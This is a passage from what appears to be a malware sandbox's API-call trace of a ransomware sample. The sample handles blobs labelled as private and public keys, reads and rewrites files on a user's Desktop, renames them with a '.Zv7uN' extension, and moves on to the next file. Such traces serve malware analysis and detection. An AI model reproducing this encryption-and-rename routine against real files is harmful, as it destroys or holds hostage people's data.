sKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0126.905] GetCurrentThreadId () returned 0xa30 [0126.905] GetCurrentThreadId () returned 0xa30 [0126.905] GetCurrentThreadId () returned 0xa30 [0126.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.906] GetCurrentThreadId () returned 0xa30 [0126.906] GetCurrentThreadId () returned 0xa30 [0126.906] GetCurrentThreadId () returned 0xa30 [0126.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.907] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0126.907] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.907] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1b4c [0126.907] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0126.907] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x1b4c, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x1b4c, lpOverlapped=0x0) returned 1 [0126.909] CloseHandle (hObject=0x120) returned 1 [0126.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0126.949] WriteFile (in: hFile=0x120, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x1b4c, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f978*=0x1b4c, lpOverlapped=0x0) returned 1 [0126.951] CloseHandle (hObject=0x120) returned 1 [0126.952] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HnqWON3eIA41_qk.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hnqwon3eia41_qk.mkv.zv7un")) returned 1 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] GetCurrentThreadId () returned 0xa30 [0126.955] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bcee8e0, ftCreationTime.dwHighDateTime=0x1d5dcfb, ftLastAccessTime.dwLowDateTime=0xcea41a40, ftLastAccessTime.dwHighDateTime=0x1d5db52, ftLastWriteTime.dwLowDateTime=0xcea41a40, ftLastWriteTime.dwHighDateTime=0x1d5db52, nFileSizeHigh=0x0, nFileSizeLow=0x155e8, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="ICfZ4ZiEDHNpv.avi", cAlternateFileName="ICFZ4Z~1.AVI")) returned 1 [0126.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0126.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0126.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bcee8e0, ftCreationTime.dwHighDateTime=0x1d5dcfb, ftLastAccessTime.dwLowDateTime=0xcea41a40, ftLastAccessTime.dwHighDateTime=0x1d5db52, ftLastWriteTime.dwLowDateTime=0xcea41a40, ftLastWriteTime.dwHighDateTime=0x1d5db52, nFileSizeHigh=0x0, nFileSizeLow=0x155e8)) returned 1 [0126.955] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\icfz4ziedhnpv.avi")) returned 0x20 [0126.956] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ICfZ4ZiEDHNpv.avi", dwFileAttributes=0x80) returned 1 [0126.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7